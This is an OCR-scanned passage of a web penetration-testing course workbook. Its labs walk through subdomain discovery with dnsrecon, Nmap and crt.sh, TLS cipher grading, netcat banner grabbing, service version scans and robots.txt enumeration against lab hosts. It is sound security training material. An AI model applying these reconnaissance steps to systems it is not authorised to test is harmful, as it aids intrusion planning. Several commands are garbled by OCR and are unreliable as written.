(-1s i

5. Nmap discovered the following hostnames:
« test.sec542.net
* ns1.sec542.net
+ mail.sec542.net
* www.sec542.net

- ftp.sec542.net

+ Use dnsrecon.py (installed in /opt/dnsrecon) to perform a DNS brute force scan of names in the sec542.net domain
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Solution

1+ Let's compare Nmap's dns—brute NsE script results with dnsrecon.py .

2. Leave the terminal with Nmap results open to allow for easy comparison.

Note

dnsrecon.py sometimes exits with a harmless Exception in thread Thread-6... error: this may be ignored.

3. Open a new terminal and run the following command:

dnsrecon.py -t brt -d sec542.net -n 127.0.0.1 -D /opt/dnsrecon/namelist.txt

4. In the output, note the hosts DNSRecon identified using this technique:

- Terminal - student@sec542: ~ i S
File' Edit Miew Terminal Tabs Help:

[~1% dnsrecon.py -t brt -d sec542.net -n 127.0.0.1 -D /opt/dnsrecon/namelist.txt
[*] Using the dictionary file: /opt/dnsrecon/namelist.txt (provided by user)

[*] brt: Performing host and subdomain brute force against sec542.net...

[+] CNAME cust42.sec542.net sec542.net

[+] A sec542.net 10.42.42.42

[+ CNAME ftp.sec542.net secb42.net

[+] A sec542.net 10.42.42.42

[+] A mail.sec542.net 10.42.42.42

[+ A nsl.sec542.net 10.42.42.42

[+] CNAME test.sec542.net sec542.net

[+] A sec542.net 10.42.42.42

[+] CNAME www.sec542.net sec542.net

[+ A sec542.net 10.42.42.42

[+ 10 Records Found

-1s § U

5. DNSRecon should identify a hostname that the Nmap dns—brute script missed.
6. Identify that hostname by comparing DNSRecon's output with Nmap's.
+ dnsrecon.py discovered the following hostnames via either A or CNAME records:

* sec542.net

* cust42.sec542.net

- ftp.sec542.net

* mail.sec542.net

* ns1.sec542.net

« test.sec542.net

* www.sec542.net

+ Both tools discovered test.sec542.net, which we were previously unaware of based on running dig against sec542.net.

" In addition, dnsrecon. PY also discovered cust42.sec542.net.

Note

dnsrecon.py found cust42.sec542.net because its default wordlist is longer.

7. The /opt/dnsrecon/namelist.txt file has 1910 entries, as shown by the following command:

wc -1 /opt/dnsrecon/namelist.txt
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Note

The we command preforms a word count, and the -1% (lowercase ‘ell, not the number one) flag stands for lines.

8. Nmap's default listat /usr/local/share/nmap/nselib/data/vhosts-default.lst onlyhas 128 lines, as shown by the following command:
wc -1 /usr/share/nmap/nselib/data/vhosts-default.lst
9. Either tool may use a custom wordlist. We can simulate dnsrecon. PY 's results with Nmap by giving it the same wordlist as a script argument:

nmap --script=dns-brute sec542.net --script-args=dns-brute.hostlist=/opt/dnsrecon/
namelist.txt

10. Both test.sec542.net and cust42.sec542.net are interesting; we will dig deeper into their respective virtual host sites in a later lab.

Online DNS Databases

Perform the following steps:

+ Open the Firefox browser and navigate to https://dnsdumpster.com

« Perform a query for:
* sans.org

* sec542.com

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 31


https://technet24.ir

Solution - sans.org

1. Open Firefox and surf to https://dnsdumpster.com

2 Enter sans. Or g , and click the Search button.

dns recon & research, find & lookup dns records

3-Scrolldownto Host Records (A) , and you will see the catalogged hostnames.

@xe

rtir.tbt57
@xe

files. tbt5

weiw21.sans. o
Q@xe 4

ndemand31. g a - ITUTE

4. Remember that your results will differ, since you are looking at live data.

5. Scroll back to the top of the page to be able to perform the next search for sec542,com .
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Solution - sec542.com

1 Enter sec542.com,and click the Search button.

dns recon & research, find & lookup dns records

sec542.com Search ¥

2 scrolldownto Host Records (A) , and you will see the catalogued hostnames.

AMAZON-AES

DIGITALOCEAN-ASN

untbuggly.
exe

3. Remember that your results will differ, since you are looking at live data.

4. Also of note, scroll down a little further and you will see a diagram of the hostnames and their relationship to various servers.

Mapping the domain

ns1.digitalocean com.
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Certificate Transparency Logs

Perform the following steps:

- Discover any current x.509 certificates associated with:
* sans.org
* sec542.com

+ Use the following site to perform your research: https://crt.sh

34 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

Solution - sans.org

1. Open Firefox and surf to https://crt.sh.

2 Searchfor %.Sans.org (the %

w

symbol is a wildcard that matches all names and subdomains in sans.org).

£ crish | Certificate Search

x|+

- crtsh | Certificate Search - Mozilla Firefox .

= 5

[ (@ @ hitps:icrtsh

ﬁ]

I{\(:—/J = I &
£+ Most Visited

N @ » =

Enter an Identity (Domain Name, Organization Name, etc),
a Certificate Fingerprint (SHA-1 or SHA-256) or a cri.sh ID:

9%.sans.org| ‘

@ Advanced...

013, All rights resenied

50

crt.sh provides one page of results by default (remember that your results will differ).
v crt.sh | %.sans.org - Mozilla Firefox =
G crtsh | %.sans.org X | +
7 \\_‘
\;\(—/,\ - G @ {@ & Comodo CA Limited (GB) | https://crt.sh/2q=%25.sans.org ves ﬁ] nooed
¥ Most Visited
-
m ﬁ Group by Issuer
Criteria Identity LIKE %.sans.org’
Certificates crt.shiD Logged At T Not Before Not After Identity Issuer Name
1627139057 2019-06-30 2018-08-03 2019-09-03 recordings-api.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1622425246 2019-06-29 2019-06-26 2020-07-26 olt-content-supplements.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1619018338 2019-06-28 2018-12-09 2020-01-09 webcast.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1618910284 2019-06-28 2018-12-09 2020-01-09 vlive-simulcast.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1614535880 2019-06-27 2019-06-12 2020-07-12 recordings.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1613253598 2019-06-26 | 2019-06-26 2020-07-26 ondemand-supplements.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1612696240 2019-06-26 2019-06-26 2020-07-26 olt-content-supplements.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1612765366 2019-06-25 2019-06-25 2019-09-23 adselfservice.animal.platform.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1606148343 2019-06-23 2018-07-24 2019-08-24 ondemand-supplements.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1591016080 2019-06-18 2019-06-16 2020-07-16 olt-players.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1580861576 2019-06-16 2019-06-16 2020-07-16 olt-players.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1568407724 2019-06-12 2019-06-12 2020-07-12 recordings.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1598908378 2019-06-11 2019-06-11 2019-09-09 adselfservice.animal.platform.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1567285535 2019-06-11 2019-06-11 2019-09-09 adselfservice.animal.platform.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1578622749 2019-06-05 2019-06-05 2019-09-03 zeus.vpn.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1546348516 2019-06-05 2019-06-05 2019-09-03 zeus.vpn.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1536123460 2019-06-03 2019-05-31 2020-06-30 dev-cmp-admin.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1550806390 2019-06-03 2019-06-03 2019-09-01 ics-community.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1534907913 2019-06-03 2019-06-03 2019-09-01 ics-community.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1527301737 2019-05-31 2019-05-28 2021-05-11 image.email.sans.org C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA
1526215108 2019-05-31 ' 2019-05-31 2020-06-30 dev-cmp-admin.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1522838263 2019-05-30 | 2019-05-17 2020-06-17 dev-cmp.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1547200331 2019-05-28 | 2019-05-28 2019-08-26 adselfservice.animal.platform.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1518952244 2019-05-28 2019-05-28 2019-08-26 adselfservice.animal.platform.sans.org C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
1518370597 2019-05-28 2019-05-28 2021-05-11 image.email.sans.org C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA
1513280281 2019-05-27 2019-05-23 2020-06-23 pre-odadmin.sans.org C=US, 0=Amazon, OU=Server CA 1B, CN=Amazon
1507194075 2019-05-24 2019-05-23 2020-04-29 *.sans.org C=BE, 0=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256
-G3
1506797916 2019-05-24 2019-05-22 2020-04-29 *.sans.org C=BE, 0=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256
-G3

1503649081 2019-05-23 2019-05-21 2020-04-29 *.sans.org C=BE, 0=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256
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Solution - sec542.com

also discover it via Certificate Transparency. Note that sec542.com will have far less certificates than sans.org did.

2 Search for %.sec542.com in https://crt.sh.

1. sec542.com has a "hidden" virtual host that was not linked publicly (or discovered by Internet search engines) when this lab was written. Passive DNS can find it; let's see if we can

g crt.sh | %.sec542.com - Mozilla Firefox = *
& cresh | %h.secs42.com X ‘ =t
I<—/J - G @ [kD @ Comodo CA Limited (GB) | httpsi/crtshfg=t25.sec 542 cor wes ﬁ] n o o @ ’ =
L+ Most Visited .

m ‘-’\ Grou Issuer

Criteria Identity LIKE "%.5ec542. com
Certificates crt.shiD Logged At t 'Not Before Not After Identity | Issuer Name
1632103107 2019-07-01  2019-06-27 2019-09-25 www.sec542.com C=US, O=lets Encrypt, CN=Lets Encrypt Authority X3
1623144946 2019-06-27 | 2019-06-27 2019-09-25 www.sec542.com C=USs, O=Let’s Enc| CN=Lets Encrypt Authority X3

1576452841 2019-06-05  2019-06-05 2019-09-03 gruntbuggly sec542.com C=Us, O=lets ErK:rvbl CN=Lets Encrypt Authority X3
1545429754 2019-06-05 2019-06-05 2019-09-03 gruntbuggly.sec542. com C=US, O=lets Enci CM=Lets Encrypt Authority X3

1427093505 2019-04-28 | 2019-04-28 2019-07-27 www.sec542.com |C=US, O=Lets Encrvpt, CN=lets Encrypt Authority X3

1427092872 2019-04-28 | 2019-04-28 2019-07-27 www.sec542.com C=US, 0=Lel'$_Encr\f_Dt CN=Lets Encrypt Authority X3

1244512466 2019-02-27  2019-02-27 2019-05-28 www.sec542.com C=US, O=Lets Encrypt, CN=Lets Encrypt Autharity X3

1238186057 2019-02-27 2019-02-27 2019-05-28 www.sec542.com C=US, O=lets Encrypt, CN=Lets Encrypt Authority X3
fi Sectigo Limite

3 Hmmm... gruntbuggly.sec542.com looks interesting. Let's check it out. Surf to https:/gruntbuggly.sec542.com.

e Vogon Poetry - Mozilla Firefox - + X
Vogon Poetry X |+

f\ <)> C [ @ @& https://gruntbuggly.sec542.com v @ 9o n » =

£} Most Visited

Oh freddled gruntbuggly, thy micturations are to me

As plurdled gabbleblotchits, on a lurgid bee.

Groop I implore thee, my foonting turlingdromes,

And hooptiously drangle me with crinkly bindlewurdles,

Or I will rend thee in the gobberwarts with my blurglecruncheon,
See if I don't.

Gashee morphousite, thou expungiest quoopisk!

Fripping lyshus wimbgunts, awhilst moongrovenly kormzibs.

Bleem miserable venchit! Bleem forever mestinglish asunder frapt!
Gerond withoutitude form into formless bloit, why not then? Moose.

We hope you enjoyed the Vogon poetry.
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To quote the amazing Douglas Adams: "

+ Vogon poetry is of course, the third worst in the universe.*

* The second worst is that of the Azgoths of Kria. During a recitation by their poet master Grunthos the Flatulent of his poem
"Ode to a Small Lump of Green Putty | Found in My Armpit One Midsummer Morning" four of his audience died of internal
haemorrhaging and the president of the Mid-Galactic Arts Nobbling Council survived by gnawing one of his own legs off.
Grunthos was reported to have been "disappointed” by the poem's reception, and was about to embark on a reading of his 12-
book epic entitled "My Favourite Bathtime Gurgles" when his own major intestine, in a desperate attempt to save humanity,
leapt straight up through his neck and throttled his brain.*

* The very worst poetry of all perished along with its creator, Paul Neil Milne Johnstone of Redbridge, in the destruction of the
planet Earth. Vogon poetry is mild by comparison.*

[1] https://tools.ietf.org/html/rfc1035
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Exercise 1.3 - Testing HTTPS

Objectives

« Leverage scripts to test HTTPS configurations

+ Gain hands-on experience with the Nmap NSE ssl-enum-ciphers script
« Determine the weakest ciphers identified by ssl-enum-ciphers

« Compare HTTPS configurations of multiple sites

Lab Setup

1. Log in to Security542 VM:
* Username: student

+ Password: Security542

2. Open a terminal by clicking the terminal icon on the upper panel.

3. Start the Docker Nginx Heartbleed container by typing the following command:

/labs/heartbleed.sh

Terminal - student@Security542: ~

v

File Edit View Terminal Tabs Help

[~1$ /labs/heartbleed.sh

Starting heartbleed nginx 1
Starting heartbleed nginx 1 done
Attaching to heartbleed nginx 1 H

4. Leave the command running as you perform the lab.

Challenges
+ Use the Qualys SSL labs SSL server test at https://www.ssllabs.com/ssltest/ to assess the strength of www.sans.org.
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Solution

1. Open Firefox and surf to: https://www.ssllabs.com/ssltest/.

2. Enter "www.sans.org" and press "Submit":

Home  Projects  Qualys Free Trial Contact
@ Qualys. ssi Labs

You are here: Home > Projects > SSL Server Test

SSL Server Test

This free online service performs a deep analysis of the configuration of any SSL web server on the public Internet. Please note that the
information you submit here is used only to provide you the service. We don't use the domain names or the test results, and we never will.

Hostname: [ WWW.sans.org ” Submit ’

| Do not show the resuits on the boards

3. You may be shown a results screen right away (if the site was scanned recently), or Qualys may start a new scan. A new scan may take some time to complete, so move to the next
section while it's running, and check the results later.

4. Inspect the results.

Note

The live results may differ from the results shown below, as security standards change, the www.sans.org web site changes,
etc.

@ Quclys. SSL Labs Home  Projects Qualys Free Trial  Contact

You are here: Home > Projects > SSL Server Test > www.sans.org

SSL Report: www.sans.org (45.60.31.34)
Assessed on: Tue, 28 May 2019 18:46:40 UTC | Hide | Clear cache Scan Another »

Summary

Overall Rating

A+

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.
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. Assess the HTTPS configurations of https:/www.sec542.org and https:/heartbleed.sec542.org by performing the following:

+ Use the Nmap NSE ssl-enum-ciphers script to test the cipher strength of the sites
+ Compare the two sites and identify which offers the weakest cipher

+ Determine which ciphers are the weakest
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Solution

Test https:/www.sec542.org
1. The Qualys SSL labs SSL server test is great for testing public websites, but penetration testers frequently need to assess internal sites. We will use nmap for that purpose.

2. If you have already started the Docker Nginx Heartbleed container, skip to the next step. Otherwise, open a new terminal and start it now:
/labs/heartbleed.sh

3. Nmap has a number of useful NSE (Nmap Scritping Engine) scripts, available in the Security 542 Linux VM in this directory: /usr /share/nma p/scr'i pts/ . We will
usethe ssl-enum-ciphers script.

4. Open another terminal and run this command:

nmap -p 443 —--script=ssl-enum-ciphers www.sec542.org -oN /tmp/www.sec542.org.nmap

5 This tells Nmap to run the ss1l-enum-ci phe 'S NSE script against https:/www.sec542.org, and save the results to the file WwW.Sec542.0rg.nmap .

6. Note the final "least strength" value:

> Terminal - student®@sec542: ~ =& X
File' Edit Wiew Terminal Tabs Help

| TLS RSA WITH AES 256 CCM 8 (rsa 2048) - A

| TLS_RSA WITH _AES 256 _GCM SHA384 (rsa 2048) - A

| TLS RSA WITH ARIA 128 GCM SHA256 (rsa 2048) - A

| TLS RSA WITH ARIA 256 GCM SHA384 (rsa 2048) - A

| TLS_RSA_WITH CAMELLIA 128 CBC SHA (rsa 2048) - A

| TLS_RSA_WITH CAMELLIA 128 CBC SHA256 (rsa 2048) - A
| TLS RSA WITH CAMELLIA 256 CBC SHA (rsa 2048) - A

| TLS_RSA_WITH CAMELLIA 256 CBC SHA256 (rsa 2048) - A
| COMPressors:

| NULL

| cipher preference: client

| TLSv1.3:

| ciphers:

| TLS AKE_WITH AES 128 GCM SHA256 (ecdh x25519) - A

| TLS AKE_WITH AES 256 GCM SHA384 (ecdh_x25519) - A

| TLS_AKE_WITH _CHACHA2@ POLY1305 SHA256 (ecdh_x25519) - A
| cipher preference: client

| least strength: A

map done: 1 IP address (1 host up) scanned in 0.48 seconds

-15 1

7. https://www.sec542.org scores a rating of A from ssl-enum-ciphers.

I

8. View the ssl-enum-ciphers description page, to get a better understanding of what criteria Nmap uses to grade the ciphers. Type the following command:
nmap --script-help ssl-enum-ciphers | less

9. You can page through the results by pressing the space bar (or using the up and down arrows). You can quit less by typing q .
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s : : Terminal - student@Security542: ~
File' Edit View Terminal Tabs Help
Starting Nmap 7.7@ ( https://nmap.org ) at 2019-06-05 06:41 PDT

ssl-enum-ciphers
Categories: discovery intrusive
https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html
This script repeatedly initiates SSLv3/TLS connections, each time trying a new
cipher or compressor while recording whether a host accepts or rejects it. The

Each ciphersuite is shown with a letter grade (A through F) indicating the
the key exchange and of the stream cipher. The message integrity ({(hash)
algorithm choice is not a factor. The output line beginning with

<code=Least strength</code> shows the strength of the weakest cipher offered.
The scoring is based on the Qualys SSL Labs SSL Server Rating Guide, but does
SSL Labs rating.

SSLv3/TLSvl requires more effort to determine which ciphers and compression

that it is capable of supporting, and the server will respond with a single
cipher and compressor chosen, or a rejection notice.

end result is a list of all the ciphersuites and compressors that a server accepts.

strength of the connection. The grade is based on the cryptographic strength of

not take protocol support (TLS version) into account, which makes up 30% of the

methods a server supports than S55Lv2. A client lists the ciphers and compressors

10. Note the following text: The scoring is based on the Qualys SSL Labs SSL Server Rating Guide, but does not take protocol support (TLS version) into account, which makes up 30% of

the SSL Labs rating.

11. The Qualys SSL Server Rating Guide is available at: github.com/ssllabs/research/wiki/SSL-Server-Rating-Guide

Test https:/heartbleed.sec542.org

1. Run this terminal command:

nmap -p 443 —-script=ssl-enum-ciphers heartbleed.sec542.org -oN /tmp/
heartbleed.sec542.0rg.nmap

2. Note the final "least strength” value:

- Terminal - student@secs42: ~ CERE I 4
File' Edit Wiew Terminal Tabs Help

| TLS_RSA_WITH_AES 256 CBC SHA256 (rsa 2048) - A

| TLS_RSA_WITH_AES 256 CBC SHA (rsa 2048) - A

| TLS RSA WITH CAMELLIA 256 CBC SHA (rsa 2048) - A

| TLS_ECDHE RSA_WITH 3DES_EDE_CBC_SHA (secp256rl) - C

| TLS_RSA_WITH 3DES_EDE_CBC SHA (rsa 2048) - C

| TLS ECDHE RSA WITH AES 128 GCM SHA256 (secp256rl) - A
| TLS_ECDHE_RSA WITH AES 128 CBC SHA256 (secp256rl) - A
| TLS_ECDHE RSA WITH AES 128 CBC SHA (secp256rl) - A

| TLS RSA WITH AES 128 GCM SHA256 (rsa 2048) - A

| TLS RSA WITH AES 128 CBC SHA256 (rsa 2048) - A

| TLS_RSA_WITH AES 128 CBC _SHA (rsa 2048) - A

| TLS_RSA_WITH CAMELLIA 128 CBC SHA (rsa 2048) - A

| compressors:

| NULL

| cipher preference: server

| warnings:

| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| least strength: C

map done: 1 IP address (1 host up) scanned in 0.45 seconds ‘

~15 Il

3. https://heartbleed.sec542.org scores a rating of C from ssl-enum-ciphers. Shortly, we will identify which cipher(s) are causing this rating.

I —

Find the Weak Ciphers

- https://www.sec542.org scores a rating of A
- https://heartbleed.sec542.org scores a rating of C
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. Discover which heartbleed.sec542.org ciphers are causing the low grade . We are looking for the string "- C".

Note

There is a space between the dash and the "C". We use grep to locate these lines of output and need to escape the "-" with a
"\" character so that it is not interpreted as an option.

* Discover which heartbleed.sec542.org ciphers are causing the low grade. Type the following (ensure there is a space between the — andthe C ):

grep "\- C" /tmp/heartbleed.sec542.0rg.nmap

« There are a number of offending ciphers, as shown in the screenshot below.

e Terminal - student@Security542: ~ = & X
File Edit WView Terminal Tabs Help

[~]1%$ grep "\- C" /tmp/heartbleed.sec542.org.nmap

| TLS_ECDHE RSA WITH 3DES_EDE_CBC_SHA (secp256rl)

| TLS RSA WITH 3DES EDE CBC SHA (rsa 2048) - C

| TLS_ECDHE RSA WITH 3DES EDE_CBC SHA (secp256rl)

| TLS_RSA WITH 3DES EDE CBC SHA (rsa 2048) - C

| TLS_ECDHE RSA WITH 3DES_EDE_CBC_SHA (secp256rl) - C

| TLS_RSA WITH 3DES EDE CBC SHA (rsa 2048) - C {
-15 1 \

1. Stop the Heartbleed Docker container by typing the following command in a terminal:

stop-containers.sh
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Exercise 1.4 - Gathering Server Information

Objectives

+ Perform basic server information gathering

+ Use Netcat to craft simple HTTP requests

« Leverage Nmap NSE scripts to gain additional info

+ Review response headers from within an interception proxy

+ Look for outdated components using the Retire.js plugin

Lab Setup

Log in to Security542 VM:

» Username: student

+ Password: Security542

Setup Part 1

1. In the Security542 VM, open Burp Pro and then open Firefox.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

2. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the
default option of Use Burp Defaults).

3. Wait for Burp Pro to launch.

4. Run one instance of Burp pro only. Multiple instances of Burp Pro are running if you see the warning below.
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Note

If you only have one instance running, you should not expect to see the popup below.

v

Delete old temporary files?

X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?

Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019
Tue May 28 15:11:08 PDT 2019
Tue May 28 15:08:15 PDT 2019
Tue May 28 15:46:13 PDT 2019

Jtmp/burp3936178803653028771.tmp
Jtmp/burpl7790170802505851378.tmp
Jtmp/burp305967424870421416.tmp
Jtmp/burp4042600176303109235.tmp

Delete

instances and start over.

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

¥ N @

O [System Proxy]

@ Bur

Bur|

@ zap
Y localhost =

/& Options

p Community

p Pro

. In Firefox: go to the proxy selector, and choose Burp Pro.

Note

We will use Burp Pro and your browser toward the end of this lab, feel free to minimize the Burp Pro and Firefox browser windows

until you get to the last challenge.

Setup Part 2

1. Open a terminal by clicking the terminal icon on the upper panel or double-clicking the desktop icon.
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Challenges

Perform the following steps:

+ Use Netcat to craft an HTTP version 1.0 HEAD request to http:/www.sec542.org.

Solution

1. Open a terminal and use Netcat to connect to www.sec542.org. The "-C" flag tells netcat to send CRLF (carriage return and line feed) after every line:

nc -C sec542.org 80

Note

That the cursor simply drops down to the next line without returning any data. At this point, Netcat has created a connection
to port 80 on the local machine and is waiting for you to enter data to send.

2. Manually send an HTTP HEAD request. Type the following in the same terminal:
HEAD / HTTP/1.0

3-Then press Enter twice and press Ctr1-C .

4. This should elicit a response from the HTTP server running locally on port 80. Examine the response for information regarding the server version.

> _ _ Tgrminal-studeht@se_ddz:- - F
File Edit View _Term?na\_ Tabs Help

[~1% nc -C sec542.org 80

HEAD / HTTP/1.0

HTTP/1.1 260 OK

Date: Tue, 21 Jun 2022 16:34:56 GMT

Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Nov 2015 18:52:15 GMT
ETag: "aa-5245c710075ce"

Accept-Ranges: bytes

Content-Length: 170

Vary: Accept-Encoding

Connection: close

Content-Type: text/html

Egsl U

5. The Server HTTP response header, while able to be forged, offers a good starting point for consideration.

+ Use Netcat to craft an HTTP version 1.0 HEAD request to https:/www.sec542.org (notice https rather than http)
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Solution

1. We used HTTP 1.0 because it does not require a Host header. HTTP 1.1 requires one, which we can verify now. Type the following (note that this connection will generate an error):

nc -C sec542.org 80

HEAD / HTTP/1.1

2 press Enter twiceandpress Ctr1-C .

A Terminal - student@sec542: ~ R
Fle Edit View Terminal Tabs Help:

[~]1% nc -C sec542.o0rg 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request

Date: Tue, 14 Jun 2022 17:03:40 GMT

Server: Apache/2.4.41 (Ubuntu)

Connection: close

Content-Type: text/html; charset=is0-8859-1

e
-1s il

3: Note the error HTTP/1.1 400 Bad Request. Thisisduetothe missing HOSt: header. Type the following to make a clean request:

nc -C sec542.org 80

HEAD / HTTP/1.1

Host: sec542.org

4 press Enter twice and press Ctrl1-C.

v Terminal - student@sec542: ~ =
File Edit View Terminal Tabs Help

[~]1$ nc -C sec542.org 80
HEAD / HTTP/1.1
Host: sec542.org

HTTP/1.1 280 OK

Date: Tue, 21 Jun 2022 16:38:13 GMT

Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 04 May 2021 14:21:54 GMT
ETag: "9ba-5c18lccc5a480"

Accept-Ranges: bytes

Content-Length: 2490

Vary: Accept-Encoding

Content-Type: text/html

~C
~1s

5. Run Netcat to connect to port 443 on www.sec542.org. Type the following command (note that this connection will generate an error):

nc -C www.sec542.org 443

6. Manually send another HTTP HEAD request. Type the following:

HEAD / HTTP/1.0
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7. Then press Enter twice and press Ctr1-C .

s Terminal - student@sec542: ~

File Edit Wiew Terminal Tabs Help:

[~]1% nc -C www.sec542.org 443

HEAD / HTTP/1.08

HTTP/1.1 400 Bad Request

Date: Tue, 14 Jun 2022 17:06:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 448

Connection: close

Content-Type: text/html; charset=is0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>
</head><body>

<hl>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />
Reason: You're speaking plain HTTP to an SSL-enabled server port.<br /=
Instead use the HTTPS scheme to access this URL, please.<br />

</p>
<hr>

<address>Apache/2.4.41 (Ubuntu) Server at cyberchef.sec542.org Port 80</address>

</body=</html=>

[~-1s §

Note

This results inthe HTTP/1.1 400 Bad Request error because Netcat did not negotiate SSL/TLS. However, it still

divulges the server version information.

+ Perform an Nmap version scan of www.sec542.org.
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Solution
1. Run Nmap with the service version detection option. Type the following command:
nmap -sV sec542.org
2. The —=sV switch performs service version detection for ports that are deemed open by Nmap. This results in much more traffic being sent, but gives much better fidelity than just

guessing a service version based upon port number.

3. Output should look similar to the following:

s Terminal - student@sec542: ~ - ¥
File  Edit View Terminal Tabs Help

[=]1% nmap -sV sech42.org

Starting Nmap 7.92 ( https://nmap.org ) at 2022-86-14 17:08 UTC
Nmap scan report for secb42.org (10.42.42.42)

Host is up (0.00070s latency).

rDNS record for 10.42.42.42: www.sec542.0rg

Not shown: 995 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl Ubuntu 4ubuntu@.5 (Ubuntu Linux; protocol
2.8)

53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)

80/tcp open http Apache httpd 2.4.41

443/tcp open ssl/http Apache httpd 2.4.41

4443/tcp open ssl/http nginx 1.11.13

Service Info: Hosts: 127.0.1.1, cyberchef.sec542.0rg; 05: Linux; CPE: cpe:/o:1lin
ux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap

.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds
-1s B

Note

Nmap will take several seconds to run. If you're questioning whether it is actually running, press the <spacebar> to display
details about the scan. The version scan first finds open ports, and then connects to the service in an attempt to identify the
name and version of the application running on that particular port.

+ Use an Nmap NSE script to investigate the contents of the robots.txt file at the root of http://www.sec542.org.
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Solution

1. Run Nmap with a script that identifies data found in the robots.txt file. Type the following command:

nmap —-script=http-robots.txt www.sec542.org

[~]1% nmap --script=http-robots.txt www.sec542.0rg
Starting Nmap 7.92 ( https://nmap.org ) at 2022-87-05 11:42 UTC
Nmap scan report for www.sec542.org (10.42.42.42)
Host is up (0.000089s latency).

rDNS record for 10.42.42.42: workbook.sec542.0rg
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

| http-robots.txt: 3 disallowed entries
|_/cgi-bin/ /admin /sensitive

443/tcp open https

| http-robots.txt: 3 disallowed entries
|_/cgi-bin/ /admin /sensitive

Nmap done: 1 IP address (1 host up) scanned in @.29 seconds

2. You can manually verify the Nmap results by opening Firefox and surfing to http:/sec542.org/robots.txt.
v Mozilla Firefox - + x|
sec542.org/robots.txt X | +

(&)= C @ [ GJ sec542.org/robots.txt e @D | » =

£} Most Visited @ Getting Started

User-agent: *
Disallow: /cgi-bin/
Disallow: /admin
Disallow: /sensitive

+ Locate and explore other NSE scripts in the student VM, paying particular attention to web-relevant ones.

Solution

1. Changetothe /usr/local/share/nmap/scripts directory and review some of the scripts. The http—robots.txt.nse scriptis one of many

interesting ones for application pen testers. The robots.txt file tells search engines like Google and Bing not to index listed files and directories. Those entries can be

interesting!

cd /usr/share/nmap/scripts
1s

+ Use the Retire.js plugin to look for outdated components in the https:/www.sec542.org/phpbb/ application.
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Solution

1. If you minimized the Burp Pro window, click on the BurpSuite Professional icon in the menu bar at the top of the virtual machine window to return Burp Pro back into focus.

2 Mozilla Fire

Click Here

2. Burp Pro should return to view.

3. Click the Extender menu item, and then click on the BApp Store sub-menu item.

v Burp Suite Professional v2021.3.1 - Temporary Project - liceny
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project optig

Extensions BApp Store APIs Options

|Click Here First
r|Then CI|Ck Here}rs of Burp Suite, to extend Burp's capabilities.

BApp Store

The BApp Store contains Burp exte

Add & Track Custom Iss...
Add Custom Header
Additional CSRF Checks
Additional Scanner Checks
Adhoc Payload Processors

Name Installed Rating Popularity  Last updated Detail o

. .NET Beautifier
_NET Beautifier Wity — 23jan2017
Active Scan++ kgkgkakok 25 Mar 2021

03 Mar 2020
08 Jul 2020

14 Dec 2018
21 Dec 2018
06 Nov 2019

This extension beautifies .NET requests to n|
removed.

Requests are only beautified in contexts wh
For example, a .NET request with the follow

__VIENSTATE=%201AIHf ichsdoigjKLASg]

